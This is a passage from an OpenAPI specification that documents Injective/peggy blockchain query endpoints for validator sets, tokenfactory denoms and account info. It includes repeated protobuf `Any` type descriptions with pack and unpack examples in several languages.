| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: nonce | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| tags: | |
| - Query | |
| /peggy/v1/valset/confirm: | |
| get: | |
| operationId: ValsetConfirm | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| confirm: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| orchestrator: | |
| type: string | |
| eth_address: | |
| type: string | |
| signature: | |
| type: string | |
| description: >- | |
| MsgValsetConfirm | |
| this is the message sent by the validators when they wish to | |
| submit their | |
| signatures over the validator set at a given block height. A | |
| validator must | |
| first call MsgSetEthAddress to set their Ethereum address to | |
| be used for | |
| signing. Then someone (anyone) must make a ValsetRequest the | |
| request is | |
| essentially a messaging mechanism to determine which block all | |
| validators | |
| should submit signatures over. Finally validators sign the | |
| validator set, | |
| powers, and Ethereum addresses of the entire validator set at | |
| the height of a | |
| ValsetRequest and submit that signature with this message. | |
| If a sufficient number of validators (66% of voting power) (A) | |
| have set | |
| Ethereum addresses and (B) submit ValsetConfirm messages with | |
| their | |
| signatures it is then possible for anyone to view these | |
| signatures in the | |
| chain store and submit them to Ethereum to update the | |
| validator set | |
| ------------- | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: nonce | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/valset/current: | |
| get: | |
| summary: valset | |
| operationId: CurrentValset | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| valset: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| members: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| power: | |
| type: string | |
| format: uint64 | |
| ethereum_address: | |
| type: string | |
| title: >- | |
| BridgeValidator represents a validator's ETH address and | |
| its power | |
| height: | |
| type: string | |
| format: uint64 | |
| reward_amount: | |
| type: string | |
| reward_token: | |
| type: string | |
| title: >- | |
| the reward token in it's Ethereum hex address | |
| representation | |
| title: >- | |
| Valset is the Ethereum Bridge Multsig Set, each peggy | |
| validator also | |
| maintains an ETH key to sign messages, these are used to check | |
| signatures on | |
| ETH because of the significant gas savings | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /peggy/v1/valset/last: | |
| get: | |
| operationId: LastPendingValsetRequestByAddr | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| valsets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| members: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| power: | |
| type: string | |
| format: uint64 | |
| ethereum_address: | |
| type: string | |
| title: >- | |
| BridgeValidator represents a validator's ETH address | |
| and its power | |
| height: | |
| type: string | |
| format: uint64 | |
| reward_amount: | |
| type: string | |
| reward_token: | |
| type: string | |
| title: >- | |
| the reward token in it's Ethereum hex address | |
| representation | |
| title: >- | |
| Valset is the Ethereum Bridge Multsig Set, each peggy | |
| validator also | |
| maintains an ETH key to sign messages, these are used to | |
| check signatures on | |
| ETH because of the significant gas savings | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/valset/requests: | |
| get: | |
| operationId: LastValsetRequests | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| valsets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| members: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| power: | |
| type: string | |
| format: uint64 | |
| ethereum_address: | |
| type: string | |
| title: >- | |
| BridgeValidator represents a validator's ETH address | |
| and its power | |
| height: | |
| type: string | |
| format: uint64 | |
| reward_amount: | |
| type: string | |
| reward_token: | |
| type: string | |
| title: >- | |
| the reward token in it's Ethereum hex address | |
| representation | |
| title: >- | |
| Valset is the Ethereum Bridge Multsig Set, each peggy | |
| validator also | |
| maintains an ETH key to sign messages, these are used to | |
| check signatures on | |
| ETH because of the significant gas savings | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /injective/tokenfactory/v1beta1/denoms/{creator}/{sub_denom}/authority_metadata: | |
| get: | |
| summary: |- | |
| DenomAuthorityMetadata defines a gRPC query method for fetching | |
| DenomAuthorityMetadata for a particular denom. | |
| operationId: DenomAuthorityMetadata | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| authority_metadata: | |
| type: object | |
| properties: | |
| admin: | |
| type: string | |
| title: Can be empty for no admin, or a valid injective address | |
| description: >- | |
| DenomAuthorityMetadata specifies metadata for addresses that | |
| have specific | |
| capabilities over a token factory denom. Right now there is | |
| only one Admin | |
| permission, but is planned to be extended to the future. | |
| description: >- | |
| QueryDenomAuthorityMetadataResponse defines the response structure | |
| for the | |
| DenomAuthorityMetadata gRPC query. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: creator | |
| in: path | |
| required: true | |
| type: string | |
| - name: sub_denom | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/tokenfactory/v1beta1/denoms_from_creator/{creator}: | |
| get: | |
| summary: |- | |
| DenomsFromCreator defines a gRPC query method for fetching all | |
| denominations created by a specific admin/creator. | |
| operationId: DenomsFromCreator | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| denoms: | |
| type: array | |
| items: | |
| type: string | |
| description: >- | |
| QueryDenomsFromCreatorRequest defines the response structure for | |
| the | |
| DenomsFromCreator gRPC query. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: creator | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/tokenfactory/v1beta1/module_state: | |
| get: | |
| summary: Retrieves the entire auction module's state | |
| operationId: TokenfactoryModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines the parameters of the module. | |
| type: object | |
| properties: | |
| denom_creation_fee: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements | |
| the custom method | |
| signatures required by gogoproto. | |
| factory_denoms: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| authority_metadata: | |
| type: object | |
| properties: | |
| admin: | |
| type: string | |
| title: >- | |
| Can be empty for no admin, or a valid injective | |
| address | |
| description: >- | |
| DenomAuthorityMetadata specifies metadata for | |
| addresses that have specific | |
| capabilities over a token factory denom. Right now | |
| there is only one Admin | |
| permission, but is planned to be extended to the | |
| future. | |
| description: >- | |
| GenesisDenom defines a tokenfactory denom that is | |
| defined within genesis | |
| state. The structure contains DenomAuthorityMetadata | |
| which defines the | |
| denom's admin. | |
| description: GenesisState defines the tokenfactory module's genesis state. | |
| description: |- | |
| QueryModuleStateResponse is the response type for the | |
| Query/TokenfactoryModuleState RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/tokenfactory/v1beta1/params: | |
| get: | |
| summary: >- | |
| Params defines a gRPC query method that returns the tokenfactory | |
| module's | |
| parameters. | |
| operationId: TokenfactoryParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines the parameters of the module. | |
| type: object | |
| properties: | |
| denom_creation_fee: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| description: >- | |
| QueryParamsResponse is the response type for the Query/Params RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/account_info/{address}: | |
| get: | |
| summary: AccountInfo queries account info which is common to all account types. | |
| description: 'Since: cosmos-sdk 0.47' | |
| operationId: AccountInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| info: | |
| description: info is the account info which is represented by BaseAccount. | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| pub_key: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type | |
| of the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be | |
| in a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can | |
| optionally set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results | |
| based on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty | |
| scheme) might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the | |
| above specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any | |
| values in the form | |
| of utility functions or additional generated methods of | |
| the Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and | |
| the unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will | |
| yield type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
